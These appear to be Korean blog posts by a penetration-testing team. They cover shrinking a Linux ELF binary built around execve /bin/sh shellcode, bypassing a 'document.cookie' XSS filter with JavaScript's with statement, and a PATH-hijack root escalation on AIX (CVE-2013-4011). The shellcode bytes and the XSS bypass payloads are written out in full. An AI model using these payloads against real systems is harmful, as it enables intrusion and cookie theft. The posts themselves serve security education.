이러한 실행파일이 절대 정상적으로 만들어진 실행파일이라고 볼수는 없지만, 서버 내부에 컴파일이 안되는 환경이나 기존에 의도한 동작을 수행하는 바이너리를 생성하도록 만든 exploit을 만들 시, 코드 형태로 쉽게 만들 수 있는 등의 용도로 활용될 수 있습니다.

더욱이 이러한 작업(혹은 삽질?^^;)들을 통해 개인의 지식이 발전함은 말할 나위 없겠지요...


이상 Linux기반에서 바이너리 파일의 크기를 줄이기 위한 삽질기였습니다.


아무튼 많이 쌀쌀해진 날씨에 감기 조심하시고 이러한 보잘것 없는 삽질기라도 읽어주셔서 감사합니다. ^^

더욱 발전하는 TeamCR@K이 되겠습니다. 

감사합니다.


1. Linux ELF Binary Hack #1 (언어론적 고찰)

2. Linux ELF Binary Hack #2 (구조론적 고찰)


웹 어플리케이션을 타겟으로 한 공격을 방지하도록 만든 웹 방화벽(Web Application Firewall), 침입탐지시스템(Indrusion Detection System)에서 출발하여 이제는 탐지와 방지를 겸하는 침입방지시스템(Intrusion Prevention System)까지...

공격기법만 발전하는것이 아니라 그에 비례하여 보안장비 및 정책 또한 발전이 계속되고 있는데요..

웹 방화벽이나 침입방지시스템에서 공격을 탐지하기 위해 사용되는 패턴은 계속 업데이트 되고 있으며, 이러한 보안정책들을 우회하는 기법 또한 다양하게 발전하고 있습니다.


침입탐지시스템을 NIDS(Network based Intrusion Detection System)으로 구성할 것이냐 HIDS(Host based Intrusion Detection System)으로 구성할 것이냐를 놓고 보안 실무자들이 고민하던 시절, 탐지 패턴을 우회하기 위해 고민을 했던 사람들도 있었습니다. PTer (Penetration Tester)라고 부르며, 현재의 모의해킹을 수행하는 컨설턴트를 일컫는 말이었습니다.

IDS 탐지 패턴의 경우 Remote Buffer Overflow 공격에 많이 사용됐던 NOP 코드(0x90)를 추가하거나, x86 기반 shellcode에서 시스템 콜을 실행하기 위해 반드시 필요한 int 0x80(0xCD 0x80)을 추가하기도 했었습니다.

또한 이러한 패턴들을 우회하기 위해 Encoding 된 shellcode를 사용하는 우회기법부터 stack 상 code 실행을 불가하게 만든 시스템을 우회하기 위해 ROP를 구성하여 Exploit을 하는 기법까지 다양한 우회기법이 존재합니다.

이렇게 만들어진 shellcode들은 Programming Hack을 통해 가능한 작게 만들어지도록 변경되기도 하였습니다.

한 때에는 이러한 Hack을 개인프로젝트로 했었는데 이번에는 잠시 그에 대해 공유해볼까 합니다.

Hack의 목적은 "리눅스 바이너리 파일의 크기 줄이기"이고, 해당 주제를 프로그래밍 언어의 관점과 바이너리의 구조적 특성 및 변조 툴을 이용할 수 있는 관점. 두 가지 관점에서 정리해 보도록 하겠습니다.


Hack을 시도하려는 대상은 다음의 소스코드를 Compile한 바이너리 파일입니다.

/*

* 0.c

*/

#include <stdio.h>

#include <unistd.h>


int main(void)

{

        char *sh[2] = { "/bin/sh", NULL };


        execve(sh[0], sh, NULL);

        return 0;

}


/bin/sh 경로의 쉘을 실행시키도록 되어 있는 C언어로 만들어진 소스코드입니다.

해당 소스코드를 컴파일 하면 다음과 같이 정상적으로 쉘을 실행시키는 모습을 볼 수 있습니다.


[그림 1]  0.c 컴파일 후 실행 화면


여기서 잠깐, 구조론적 관점인 것 같지만 여러분들은 컴파일러를 사용해 바이너리 파일을 생성할 때, 내부적으로 어떻게 만들어지는지 아시나요?

gcc를 예로 든다면, 다음의 과정을 거치는 것을 확인할 수 있습니다.


1. C언어 소스코드를 Assembly 소스코드로 변환

2. 변환된 Assembly 소스코드를 사용해 Object 파일 생성

3. 생성된 Object 파일과 기본 라이브러리를 링크하여 실행 가능한 파일(Executable File) 생성


C언어는 사람이 이해하거나 유지보수가 가능하도록 High-Level 형태로 구조화 한 프로그래밍 언어이고, 이를 컴파일러(Compiler)라는 매개체를 사용해 실행 가능한 파일(Executable File)로 만들게 되어 있습니다.

다음 그림은 실제 gcc 컴파일러를 사용해 C언어 소스코드가 실행 파일로 변환되는 과정을 system call tracer로 분석 해 본 화면입니다. 


[그림 2]  gcc 컴파일러의 내부 동작


위 그림을 보면 C언어로 만들어진 소스코드가 cc1 명령어를 통해 확장자 *.s를 가진 파일을 생성한 후, as를 통해 Object 파일을 생성하는 것을 볼 수 있습니다.

또한 *.s 확장자를 가진 파일을 살펴보면, Assembly 언어의 파일임을 알 수 있습니다.


[그림 3]  cc1으로 0.c 파일의 Assembly 코드 생성


그렇다면, 처음부터 C언어가 아닌 Assembly 언어 상태의 파일을 컴파일 하면 바이너리 파일의 크기를 줄일 수 있지 않을까 생각해 봅니다.

다음은 /bin/sh의 쉘을 실행시키는 shellcode를 만들 때 사용되는 Assembly 소스코드입니다.

# 1.s

.globl main


main:

    xorl    %edx, %edx

    push    %edx

    push    $0x68732f6e

    push    $0x69622f2f

    movl    %esp, %ebx

    push    %edx

    push    %ebx

    movl    %esp, %ecx

    movl    $0x0b, %eax

    int     $0x80


위 코드를 컴파일 해서 실행해보면 정상적으로 실행되며, 파일의 크기 역시 기존 파일보다 작아진 것을 확인 할 수 있습니다.


[그림 4]  C코드와 Assembly코드의 컴파일 결과 비교


만약 위 Assembly 소스코드를 Exploit 할 때와 같이 shellcode 형태로 만들어 실행하면 파일의 크기도 조금 달라지겠죠.

이를 확인해보도록 합니다.


/*

* 2.c

*/

/*

08048374 <main>:

 8048374:       31 d2                   xor    %edx,%edx

 8048376:       52                      push   %edx

 8048377:       68 6e 2f 73 68          push   $0x68732f6e

 804837c:       68 2f 2f 62 69          push   $0x69622f2f

 8048381:       89 e3                   mov    %esp,%ebx

 8048383:       52                      push   %edx

 8048384:       53                      push   %ebx

 8048385:       89 e1                   mov    %esp,%ecx

 8048387:       89 d0                   mov    %edx,%eax

 8048389:       b0 0b                   mov    $0xb,%al

 804838b:       cd 80                   int    $0x80

*/

char shellcode[] =

        "\x31\xD2\x52\x68\x6E\x2F\x73\x68\x68\x2F"

        "\x2F\x62\x69\x89\xE3\x52\x53\x89\xE1\x89"

        "\xD0\xB0\x0B\xCD\x80";


int main(void)

{

        void(*f)(void) = shellcode;

        f();

        return 0;

}



[그림 5]  최종 컴파일 결과 비교


Assembly 코드를 objdump라는 툴을 이용하여 기계어로 뽑아낸 다음, 이를 변수화 하여 함수 포인터(Function Pointer)형태로 실행시키는 소스코드입니다.

Stack 실행 방지 기능으로 인해 -z execstack 옵션을 추가하여 재 컴파일 한 후에 정상적으로 쉘이 실행되는 것을 볼 수 있었습니다. 

그러나 Assembly 코드보다는 실행파일의 크기가 조금 커진것을 확인할 수 있습니다.


위 결과에서 보듯 파일의 크기는 C언어 > 함수 포인터를 사용하여 실행하는 shellcode > Assembly 순입니다.

전체적으로 보면 더 고칠 수 있는 부분이 있는 것 같습니다.

또한 겨우 몇 바이트 줄이기 위해 이런 삽질을 해야 하는가 하는 생각까지 들기도 합니다.

그래서 다음에는 실행파일 구조의 특성을 이용하거나 관련 툴을 사용하여 파일의 크기를 변조하도록 시도해보려고 합니다.

해당 방법을 사용하면 Linux ELF 실행파일의 크기가 획기적으로 작아지는 것을 확인하실 수 있습니다.


다음 2. Linux ELF Binary Hack #2 (구조론적 고찰) 편을 기대해주세요.


감사합니다.

모의해킹을 하다 보면 제일 많이 겪게되는 것이 방지대책에 막히게 되는 것일텐데요.

이전에 말씀드렸다시피 모의해킹은 취약점 점검이랑 달라서 우회기법도 포함하는 개념입니다.

상황이 이렇다 보니 모의해킹 진행 중 Server-Side Script 레벨이나 WAF(Web Application Firewall) 정책에 막히는 경우가 허다합니다.

오늘은 저희가 활용하고 있는 우회기법 중, 자바스크립트 'with' 구문을 사용하는 XSS 방지 우회 기법에 대해서 잠시 말씀드릴까 합니다.


여러가지 XSS 공격 방지 케이스들 중 본 페이지에서 우회를 시도하는 케이스는 다음과 같습니다.


<?php

// vuln.php

...

        $msg = $_GET['msg'];

        $pattern = '/document.cookie/i';

        $output = preg_replace($pattern, '', $msg);

...

?>


위 케이스는 일반적으로 "document.cookie" 문자열을 삭제 해 버리는 코드로, 저희가 실제 우회했던 케이스는 WAF 정책이었으나, 설명을 하기 위해 PHP 코드로 구현해 보았습니다.

물론 많은 분들이 아시는 것 처럼 위 코드에는 다음과 같은 XSS 방지 우회 방안이 있을 수 있습니다.


vuln.php?msg=<script>alert(documendocument.cookiet.cookie);</script>

 := vuln.php?msg=<script>alert(document.cookie);</script>


필터링 후의 문자열 상태를 예상해 Payload를 구성하는 방법인데, 본 페이지에서 다룰 방법은 위와 같은 방법이 아니라 여기까지만 언급하도록 하겠습니다.


우회방안이나 공격방안을 구성할 때 제일 좋은 것은, 대상을 구성하고 있는 'Standard 한 규격'을 참조하고 이를 이용하는 경우입니다.

이를 위해 인터넷에서 자바스크립트 명세서(Specification; 줄여서 흔히 스펙문서라 부릅니다)을 검색해 보았습니다.

저희가 구할 수 있었던 자바스크립트 명세서는 96년 마지막으로 작성된 1.1 버전이었으며, 이를 참조하였습니다.

자바스크립트 명세서 1.1 버전 80페이지에 보면 6.4.8 The with Statement 라는 항목으로 with 구문을 설명하고 있습니다.

해당 항목의 일부를 발췌하면 다음 내용과 같습니다.


6.4.8 The with Statement


The with statement establishes the default object for a set of statements. 

Within the set of statements, any property references that do not specify an 

object are assumed to be for the default object.


... 생략 ...


Example

The following with statement specifies that the Math object is the default 

object. The statements following the with statement refer to the PI property 

and the cos and sin methods, without specifying an object. JavaScript assumes 

the Math object for these references.


var a, x, y

var r=10

with (Math) {

a = PI * r * r

x = r * cos(PI)

y = r * sin(PI/2)

}


위 내용을 참조해 보면 with 구문 사용 시 특정 object를 명시하도록 되어있고, 이후의 블록안에서는 명시된 object의 멤버를 참조할 때, member 이름만 가지고도 접근 가능하도록 되어 있습니다.


with 구문에 대해 테스트 해 볼 요량으로 다음의 코드를 작성하였습니다.

<?php

Header("Set-Cookie: A3Security=TeamCR@K;");

$msg = $_GET['msg'];

$pattern = '/document.cookie/i';

$output = preg_replace($pattern, '', $msg);

echo "<html><body><head><title>XSS Test</title></head>";

echo "Code: " . htmlspecialchars($output) . "<BR>";

echo "Execution: $output<BR>";

echo "</body></html>";

?>


위 코드를 작성하고 실행하는 순간 다음과 같은 에러가 발생하였습니다.


[그림 1] XSS 방지 (IE)


웹 브라우져 차원에서 특정 URL을 요청하는 사용자 입력 값을 검사하여 XSS 공격 패턴을 차단하고 있는 기능입니다.

PHP 실행 레벨에서 document.cookie 문자열은 삭제되었지만 웹 브라우져 레벨에서 스크립트가 차단당하여 alert 창이 실행되지 않는 모습입니다.

해당 기능은 다음의 설정을 통해 비활성화 할 수 있습니다.


[그림 2] XSS 방지 기능 비활성화 방법 (IE)


'XSS 필터 사용' 항목을 '사용 안 함'으로 설정하면 XSS 방지 기능을 비활성화 시킬 수 있으나, XSS 취약점이 사용자 입력 값에만 의존하고 있지 않기 때문에 그냥 소스코드를 수정하는 방향으로 테스트 해 보았습니다.


다음은 XSS 공격 방지를 우회하기 위해 테스트 한 자바스크립트 코드입니다.


<script>with(document) { alert(cookie); }</script>


아래 화면은 IE에서 테스트 한 화면입니다.


[그림 3] with 구문을 사용한 XSS 공격 방지 우회 (IE)


Chrome에서 테스트 한 화면입니다.

[그림 4] with 구문을 사용한 XSS 공격 방지 우회 (Chrome)


우회방안을 고민할 때마다 느끼는 것이지만, 시간이 지날수록 우회방안은 날로 발전하니 이에 대해 지속적으로 관심을 가지는것이 필요할 것 같습니다.


날씨가 많이 쌀쌀해진 10월입니다..

요즘은 아침과 한 낮의 온도차가 너무 심하네요.. ^^;

간절기에 모두들 건강하신지 모르겠습니다


오늘은 모의해킹 도중 있었던 일로 한번쯤은 되짚어 보고 넘어가 봐야 하는 것들이 아닌가 해서 한번 올려봅니다..


저희 TeamCR@K에서는 신입팀원들에게 모의해킹 시 주의사항에 대해 교육을 하는데요.

SQL Injection 시도 시 UPDATE, DELETE, CREATE, INSERT 등의 SQL 구문 실행 금지 항목도 있고..

여러 항목들 중 하나가 "Exploit 실행 금지" 항목입니다.

사실, Exploit 실행 금지에 대해 여러 의견이 많습니다.


해당 항목이 존재하는 제일 첫번째의 이유는 아무래도 "고객사 서버의 안정성"이겠네요..

고전해킹으로 분류되는 Race Condition과 같은 기법은 노후화 된 장비에 무리를 줄 수 있고,  Server Daemon을 공격하는 Remote Exploit의 경우 대고객 서비스에 장애를 일으킬지 모르며, 더 나아가 결제와 관련된 시스템일 경우 그 피해는 상상을 초월할테니까요..

또한 최근 리눅스 계열 배포판에서 많이 도출되는 취약점의 경우는 Kernel Exploit 들이 많습니다.

Kernel Exploit의 경우 실행결과가 Crash로 나타나는 형태가 많기 때문에 Kernel Panic으로 인한 실 서버 다운 등의 사태로 이어질 수 있어 이를 금지하고 있습니다.


Exploit 실행을 금지하는 또 하나 지적되는 문제로서는 Script Kiddies와도 관련이 깊을것이라 추측하고 있습니다.

쉽게 이야기하자면 "Exploit Code를 이해하지 못하는 수행인원으로부터 나오는 위험성"이겠네요.

Exploit의 취약점을 이해하지 못하고(하려 하지도 않고) Exploit 하는 행위만을 학습하는 결과가 아닐까 생각됩니다.

그 결과, 고객사 서버 안정성에 위해를 가하는 것으로 귀결될테니까요..


어찌됐든 지난 주 AIX 시스템에 접근할 기회가 생겼습니다.

일반 사용자 권한이었기에 시스템 관리 권한을 획득하기 위해 고객사에 양해를 구한 후 CVE-2013-4011에 해당하는 취약점을 공격하여 root 권한을 획득하였습니다.


[그림 1] CVE-2013-4011 취약점 공격


취약점이 존재하는 명령어는 /usr/sbin/ibstat 명령어로, 이는 root의 SetUID bit가 적용되어 있는 명령어입니다. ibstat 프로그램은 "arp"라는 외부 명령어를 실행하는데, 이 때 "arp"가 SheBang 형태로 실행되기 때문에 프로그램 실행 경로인 PATH 환경변수를 조작하여 제작자가 의도한 "arp" 프로그램 대신 악의적으로 생성한 프로그램을 실행하도록 할 수 있습니다.


해당 취약점은 이미 2013년에 IBM에서 공식적인 보안패치를 공개한 취약점입니다.


http://www-01.ibm.com/support/docview.wss?uid=isg1SSRVPOAIX61SECURITY130716-1109


PATH를 조작하여 상위권한을 획득하는 형태의 Exploit은 주로 외부 프로그램을 실행할 때 system이나 popen 등의 함수를 사용하는데에서 기인합니다.

다음의 그림에서 보시는 경우도 같은 맥락입니다.


[그림 2] 외부프로그램 실행의 예


위 프로그램을 strace로 분석하면 다음과 같습니다.


[그림 3] 외부프로그램 실행 순서


PATH의 구분자는 ':' 문자이며, 왼쪽에 설정되어 있는 PATH일수록 우선순위가 높습니다.

"[그림 2] 외부프로그램 실행의 예" 그림에 나와있는대로 PATH설정을 할 경우 PATH는 다음과 같은 형태로 설정됩니다.


.:/usr/lib64/qt-3.3/bin:/usr/local/bin:/bin/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/indra/bin


맨 왼쪽에 설정되어 있는 PATH가 . (현재디렉터리)이므로 현재디렉터리에 있는 "sh"나 "ls"를 먼저 찾게 됩니다.

PATH는 사용자가 지정할 수 있는 환경변수이며, system 계열의 함수는 이러한 PATH 환경변수의 특성을 타게 되는데

악의적인 사용자의 조작된 PATH에 의해 공격에 노출되는 경우입니다. 


예전에 워게임이라는 레벨별 시스템 해킹 게임이 유행할때, 해커스랩 FHZ이라는 워게임이 있었습니다.

"뚫어볼테면 뚫어봐!"라는 의미로 서버 이름도 DRILL서버로 명명했던 것이 기억이 납니다.

그 당시 해커스랩 워게임 레벨 문제에 이와 같이 PATH 환경변수를 조작하여 푸는 문제가 있던 것으로 기억됩니다. 

지금으로부터 15년쯤전이니까.. 시간이 많이 흘렀네요..


현재의 리눅스 배포판들은 이러한 형태의 취약점은 거의 존재하지 않습니다.

물론 일반 웹 어플리케이션은 지금도 보안취약점이 발견되어 패치되고 있지만 기본 탑재되는 시스템 어플리케이션에 한정해서는

환경변수의 조작 (PATH/IFS), 특수문자의 사용 (;, |, `)  등으로 인한 소위 "고전 해킹" 방법에 의한 보안취약점 노출은 많이 줄어들었습니다.

해커스랩 워게임을 즐겨하고 시스템 분석을 좋아하던 시절, IBM의 AIX나 HP-UX, Irix, Tru64 등등은 욕망(?)의 대상이었습니다.

일반인들은 당연히 접근하지 못하는 시스템이었고, 보안권고문 같은 곳에서만 그 흔적을 찾을 수 있었을 뿐.. Unix 클론인 리눅스에 만족할 수 밖에 없던 시절이라고 기억됩니다.


고전해킹으로 분류되는 기법이 현재 발견되는 보안취약점에도 활용 될 수 있다는 사실에는 만감이 교차합니다.

여타 Unix 시스템들은 지금도 접근하기 쉽지 않다는 그 특수성에 의해 분석되기 쉽지 않다는 이유와 함께..

현재의 리눅스 시스템은 오히려 사람들 앞에 오픈되어 수 많은 리눅스 관련 어플리케이션 개발자, 커널 커미터, Errata 버그 보고자들의 노력으로 이뤄진 성과가 아닐까 싶기도 합니다.


뚫는 것 보다 막는 것이 어렵다.. 라는 것을 다시 한번 느끼기도 하면서 수 많은 리눅스 관련 개발자들에게 다시한번 경외심이 드는 케이스가 아닐까 합니다.. ^^